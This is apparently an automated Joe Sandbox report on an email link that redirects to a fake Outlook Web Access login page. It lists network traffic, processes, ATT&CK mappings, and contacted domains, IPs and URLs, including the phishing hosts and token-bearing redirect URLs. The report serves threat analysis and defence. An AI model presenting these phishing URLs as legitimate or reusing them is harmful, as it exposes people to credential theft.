Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49672
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443

Source: unknown	HTTPS traffic detected: 23.51.58.94:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.51.58.94:443 -> 192.168.2.4:49742 version: TLS 1.2

Source: classification engine

Classification label: mal68.phis.win@26/116@42/17

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2088 --field-trial-handle=2000,i,11320093848414894593,13025177636891857523,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://url.us.m.mimecastprotect.com/s/rdl8Cn5lg3fXAy8f9CFLb?domain=url2.mailanyone.net"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2088 --field-trial-handle=2000,i,11320093848414894593,13025177636891857523,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Drive-by Compromise	Windows Management Instrumentation	Path Interception	1 Process Injection	1 Process Injection	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://url.us.m.mimecastprotect.com/s/rdl8Cn5lg3fXAy8f9CFLb?domain=url2.mailanyone.net	0%	Avira URL Cloud	safe

Source	Detection	Scanner	Label
https://ihvnbhbvhbasdjbhjvbfh.site/aadcdn.msftauth.net/~/shared/1.0/content/js/BssoInterrupt_Core_Ggyc2EJnCaHFrI6xkBPLcg2.js	0%	Avira URL Cloud	safe
https://ihvnbhbvhbasdjbhjvbfh.site/?dataXX0=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1cmwiOiJodHRwczovL2lodm5iaGJ2aGJhc2RqYmhqdmJmaC5zaXRlIiwiZG9tYWluIjoiaWh2bmJoYnZoYmFzZGpiaGp2YmZoLnNpdGUiLCJrZXkiOiJsQUlMSWVyZDZWcVAiLCJxcmMiOm51bGwsImlhdCI6MTcxNTEwNjY5NywiZXhwIjoxNzE1MTA2ODE3fQ.he_U96iM5-m3tQrPAFlHg1amMxA0JNkejLj938aPDH0	0%	Avira URL Cloud	safe
https://aadcdn.msftauth.net/shared/1.0/content/js/BssoInterrupt_Core_Ggyc2EJnCaHFrI6xkBPLcg2.js	0%	Avira URL Cloud	safe
https://ihvnbhbvhbasdjbhjvbfh.site/favicon.ico	0%	Avira URL Cloud	safe
https://hdbfhja.store/favicon.ico	0%	Avira URL Cloud	safe
https://ihvnbhbvhbasdjbhjvbfh.site/	0%	Avira URL Cloud	safe
https://ihvnbhbvhbasdjbhjvbfh.site/owa/	0%	Avira URL Cloud	safe
https://hdbfhja.store/?xeuxuwcg&qrcmsdynmkt_trackingcontext=0c22f116-19a8-4f13-8c53-7a400f51b865	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
ooc-g2.tm-4.office.com	52.96.62.226	true	false	high
url.us.m.mimecastprotect.com	205.139.111.117	true	false	unknown
cs1100.wpc.omegacdn.net	152.199.4.44	true	false	unknown
greefrunners.co.za	102.130.123.81	true	false	high
b-0004.b-dc-msedge.net	13.107.9.156	true	false	unknown
ihvnbhbvhbasdjbhjvbfh.site	5.230.47.86	true	false	unknown
challenges.cloudflare.com	104.17.3.184	true	false	high
www.google.com	142.250.65.196	true	false	high
prdia888eus0aks.mkt.dynamics.com	52.146.76.30	true	false	high
part-0012.t-0009.t-msedge.net	13.107.246.40	true	false	unknown
hdbfhja.store	5.230.47.86	true	false	unknown
fp2e7a.wpc.phicdn.net	192.229.211.108	true	false	unknown
public-usa.mkt.dynamics.com	unknown	unknown	false	high
www.office.com	unknown	unknown	false	high
url2.mailanyone.net	unknown	unknown	false	high
r4.res.office365.com	unknown	unknown	false	high
aadcdn.msftauth.net	unknown	unknown	false	unknown
outlook.office365.com	unknown	unknown	false	high
login.microsoftonline.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://ihvnbhbvhbasdjbhjvbfh.site/favicon.ico	false	Avira URL Cloud: safe	unknown
https://hdbfhja.store/favicon.ico	false	Avira URL Cloud: safe	unknown
https://greefrunners.co.za/favicon.ico	false		high
https://aadcdn.msftauth.net/shared/1.0/content/js/BssoInterrupt_Core_Ggyc2EJnCaHFrI6xkBPLcg2.js	false	Avira URL Cloud: safe	unknown
https://outlook.office365.com/owa/prefetch.aspx	false		high
https://greefrunners.co.za/	false		high
https://ihvnbhbvhbasdjbhjvbfh.site/?dataXX0=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1cmwiOiJodHRwczovL2lodm5iaGJ2aGJhc2RqYmhqdmJmaC5zaXRlIiwiZG9tYWluIjoiaWh2bmJoYnZoYmFzZGpiaGp2YmZoLnNpdGUiLCJrZXkiOiJsQUlMSWVyZDZWcVAiLCJxcmMiOm51bGwsImlhdCI6MTcxNTEwNjY5NywiZXhwIjoxNzE1MTA2ODE3fQ.he_U96iM5-m3tQrPAFlHg1amMxA0JNkejLj938aPDH0	false	Avira URL Cloud: safe	unknown
https://public-usa.mkt.dynamics.com/api/orgs/6a41e90b-d409-ef11-9f83-6045bd003e15/r/FvEiDKgZE0-MU3pAD1G4ZQEAAAA?target=%7B%22TargetUrl%22%3A%22https%253A%252F%252Fgreefrunners.co.za%252F%22%2C%22RedirectOptions%22%3A%7B%225%22%3Anull%2C%221%22%3Anull%7D%7D&digest=8tFUOLbq88kJ1qWVPQO24Iw0VllK%2Bt5cof7eRnCG1Bk%3D&secretVersion=a587597bbd2d4ba3bb4334f6d8be15ee	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8803495f9bd55e68	false		high
https://challenges.cloudflare.com/turnstile/v0/api.js?onload=onloadTurnstileCallback	false		high
https://ihvnbhbvhbasdjbhjvbfh.site/owa/	false	Avira URL Cloud: safe	unknown
https://ihvnbhbvhbasdjbhjvbfh.site/aadcdn.msftauth.net/~/shared/1.0/content/js/BssoInterrupt_Core_Ggyc2EJnCaHFrI6xkBPLcg2.js	false	Avira URL Cloud: safe	unknown
https://hdbfhja.store/?xeuxuwcg&qrcmsdynmkt_trackingcontext=0c22f116-19a8-4f13-8c53-7a400f51b865	false	Avira URL Cloud: safe	unknown
https://www.office.com/?auth=2	false		high
https://login.microsoftonline.com/organizations/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638507035278740798.MzUwZWEwNGItMDc2Ny00ZjQ4LWJlYWItNDkwZDdhNWFmNDExODhjMzU2NGEtNGYwNi00ZTc2LTgxZGUtOTc3ZThkN2NiMTM5&ui_locales=en-US&mkt=en-US&msafed=0&client-request-id=65a2f881-c484-4091-8dea-f9c5e60c6216&state=j_I4xLz5AzwiVA6s4u72AC-XEC9DKOavNHD4fPS5GNMxAtwCWWsBjq2KyIdbrvkUVnbYrkLW4GsCQb-6wmiv7gBRQkX2Jp5V1FRDuA4iT8QLwc6TltoXvZsQdgGDDBubaqu82WwEjOQ2TkYeohIrikvWBmC4IbpqWznV-M-o38c24SvDYdeR0QYdUHfCz7UBmRChHVvH9kEZ6Ip3fMl5K_LY8IdKp1SaQj-hqckN3dJbLDkyJnd2wCyIvKNGFPIcOb83k_V21Ic9LYCeERaRZ-k2eUlt6wTi_DcWI8d4X9ZvHMJ7-vjjftPEOE1fO7A2WEp8EXcaBRCxS9mOKITzrsCu5CZ3ac73ek0NZ-saQ00&x-client-SKU=ID_NET6_0&x-client-ver=7.3.1.0&sso_reload=true	false		high
https://hdbfhja.store/?xeuxuwcg=ec88ccf3521205507dea895bdd8c3dd57082bcf2b8e2d8cb549d067aa15240ca465f646207db5f3c3b1aaa7db51b6765211ca48965e9c1476f5fe534a8b2d46e&qrcmsdynmkt_trackingcontext=0c22f116-19a8-4f13-8c53-7a400f51b865	false		unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/pat/8803495f9bd55e68/1715106684072/4c4248d5deb5b918dc16c1422e92278fae79f8e98f3c6127774c242cd8762d3b/LbTYmcAp2-H4CPj	false		high
https://ihvnbhbvhbasdjbhjvbfh.site/	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/0i6ex/0x4AAAAAAAZkgmLQjbC4655I/auto/normal	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D	false		high
https://login.microsoftonline.com/organizations/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638507035278740798.MzUwZWEwNGItMDc2Ny00ZjQ4LWJlYWItNDkwZDdhNWFmNDExODhjMzU2NGEtNGYwNi00ZTc2LTgxZGUtOTc3ZThkN2NiMTM5&ui_locales=en-US&mkt=en-US&msafed=0&client-request-id=65a2f881-c484-4091-8dea-f9c5e60c6216&state=j_I4xLz5AzwiVA6s4u72AC-XEC9DKOavNHD4fPS5GNMxAtwCWWsBjq2KyIdbrvkUVnbYrkLW4GsCQb-6wmiv7gBRQkX2Jp5V1FRDuA4iT8QLwc6TltoXvZsQdgGDDBubaqu82WwEjOQ2TkYeohIrikvWBmC4IbpqWznV-M-o38c24SvDYdeR0QYdUHfCz7UBmRChHVvH9kEZ6Ip3fMl5K_LY8IdKp1SaQj-hqckN3dJbLDkyJnd2wCyIvKNGFPIcOb83k_V21Ic9LYCeERaRZ-k2eUlt6wTi_DcWI8d4X9ZvHMJ7-vjjftPEOE1fO7A2WEp8EXcaBRCxS9mOKITzrsCu5CZ3ac73ek0NZ-saQ00&x-client-SKU=ID_NET6_0&x-client-ver=7.3.1.0	false		high
https://challenges.cloudflare.com/turnstile/v0/b/ce7818f50e39/api.js	false		high
https://url.us.m.mimecastprotect.com/s/rdl8Cn5lg3fXAy8f9CFLb?domain=url2.mailanyone.net	false		unknown
https://greefrunners.co.za/#msdynmkt_trackingcontext=0c22f116-19a8-4f13-8c53-7a400f51b865	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/i/8803495f9bd55e68/1715106684074/MWyLVv4AMsqffjI	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/flow/ov1/1296908238:1715102970:WHlKkTMI5qTfs3kqdoIXXuyp1058w2BbgNo-m-7l2OI/8803495f9bd55e68/1937d72d0ae2e27	false		high
https://url2.mailanyone.net/scanner?m=1s3cWM-0007Zq-3j&d=4%7Cmail%2F90%2F1714917600%2F1s3cWM-0007Zq-3j%7Cin2c%7C57e1b682%7C28613012%7C14303582%7C663792961556323F60CA7719E24FBD2A&o=%2Fphtu%3A%2Fptsacblmus.i-mdktcnai.ypos.%2F%2Faicm4sore6a1g%2F9-90e40-bd3-f16f8-193b04100e5di%2F5%2FKvEDrF30gZAMUpE-A4D1AQEAGZtaA%3F%25ge%3Dtrr27BeTag%252%25ltUA223r%25sh%2522tp%252tF%2553252%25A2fg52ueerFrornnz.c.es25a%25%25F%25222d22CrRei%252oOecstintp7%25%252%25A%25B233%2522n2%25A522%25ul1C%252l2u%25%252lAnl23d%25%257gD%26iD7U%3DesLtFOt8q8bqVJ1W8k02PQlIwVO4c2lKft5o%25BBn7e%25G1kRCes3DVcrt%26eaier8n%3D5so27754bdd9b3bbaf4343bee51eb8d6&s=WdYCVSQ9Sc0_DEjTfgsDBAJMLLE	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://github.com/jquery/globalize	chromecache_105.2.dr	false	high
http://knockoutjs.com/	chromecache_100.2.dr, chromecache_104.2.dr, chromecache_88.2.dr	false	high
https://github.com/douglascrockford/JSON-js	chromecache_100.2.dr, chromecache_104.2.dr	false	high
https://login.windows-ppe.net	chromecache_84.2.dr, chromecache_85.2.dr	false	high
https://js.monitor.azure.com/scripts/c/ms.analytics-web-2.min.js	chromecache_88.2.dr	false	high
http://www.json.org/json2.js	chromecache_88.2.dr	false	high
https://login.microsoftonline.com	chromecache_84.2.dr, chromecache_85.2.dr	false	high
http://www.opensource.org/licenses/mit-license.php)	chromecache_100.2.dr, chromecache_104.2.dr, chromecache_88.2.dr	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
13.107.246.40	part-0012.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
104.17.3.184	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
5.230.47.86	ihvnbhbvhbasdjbhjvbfh.site	Germany	12586	ASGHOSTNETDE	false
13.107.213.40	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
13.107.9.156	b-0004.b-dc-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
52.96.62.226	ooc-g2.tm-4.office.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
205.139.111.117	url.us.m.mimecastprotect.com	United States	30031	MIMECAST-US	false
142.250.65.196	www.google.com	United States	15169	GOOGLEUS	false
152.199.4.44	cs1100.wpc.omegacdn.net	United States	15133	EDGECASTUS	false
52.146.76.30	prdia888eus0aks.mkt.dynamics.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
102.130.123.81	greefrunners.co.za	South Africa	37153	xneeloZA	false
104.17.2.184	unknown	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.16
192.168.2.4
192.168.2.23
192.168.2.13

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1437709
Start date and time:	2024-05-07 20:30:02 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 42s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://url.us.m.mimecastprotect.com/s/rdl8Cn5lg3fXAy8f9CFLb?domain=url2.mailanyone.net
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal68.phis.win@26/116@42/17
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Browse: https://ihvnbhbvhbasdjbhjvbfh.site/owa/

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.65.195, 142.251.40.206, 172.253.63.84, 34.104.35.123, 104.18.10.14, 104.18.11.14, 40.127.169.103, 72.21.81.240, 192.229.211.108, 20.3.187.198, 20.166.126.56, 40.126.24.146, 40.126.24.81, 20.190.152.20, 20.190.152.19, 40.126.24.148, 40.126.24.83, 40.126.24.147, 40.126.24.82, 184.51.148.218, 184.51.148.160, 142.251.41.10, 142.251.32.106, 142.251.40.234, 142.251.40.202, 142.250.65.234, 142.250.64.74, 142.251.40.138, 142.250.64.106, 142.250.65.202, 142.251.40.170, 142.251.40.106, 172.217.165.138, 142.251.35.170, 142.250.65.170, 142.250.72.106, 142.250.81.234, 142.251.40.99, 13.107.6.156, 20.190.152.22, 40.126.24.84, 20.190.152.21, 40.126.24.149, 142.250.80.106, 142.250.80.10, 142.250.80.74, 142.250.80.42, 142.250.176.202
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, clientservices.googleapis.com, home-office365-com.b-0004.b-msedge.net, ak.privatelink.msidentity.com, cxppusa1im4t7x7z5iubq.trafficmanager.net, wu.azureedge.net, clients2.google.com, ocsp.digicert.com, login.live.com, bg.apr-52dd2-0503.edgecastdns.net, cs11.wpc.v0cdn.net, ocsp.edge.digicert.com, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, hlb.apr-52dd2-0.edgecastdns.net, update.googleapis.com, login.mso.msidentity.com, wu-b-net.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net, url2.mailanyone.net.cdn.cloudflare.net, e40491.dscg.akamaiedge.net, www.tm.ak.prd.aadg.trafficmanager.net, prdv4a.aadg.msidentity.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, ctldl.windowsupdate.com.delivery.microsoft.com, aadcdnoriginwus2.azureedge.net, wu.ec.azureedge.net, www.tm.v4.a.prd.aadg.akadns.net, www.tm.ak.prd.aadg.akadns.net, b-0004.b-msedge.net, ctldl.windowsupdate.com, aadcdn.msauth.
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtSetInformationFile calls found.
VT rate limit hit for: https://url.us.m.mimecastprotect.com/s/rdl8Cn5lg3fXAy8f9CFLb?domain=url2.mailanyone.net

Input	Output
URL: https://ihvnbhbvhbasdjbhjvbfh.site/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJm	```json { "obfuscated": true, "injections": true, "unpacking": true, "antidebugger": false, "reasons": "The code is obfuscated using anonymous functions and closures, it dynamically modifies the HTML by registering event handlers for 'doc.ready' and 'doc.load', and it performs code unpacking using the 'when' function which evaluates the input arguments after certain conditions are met." } ```"
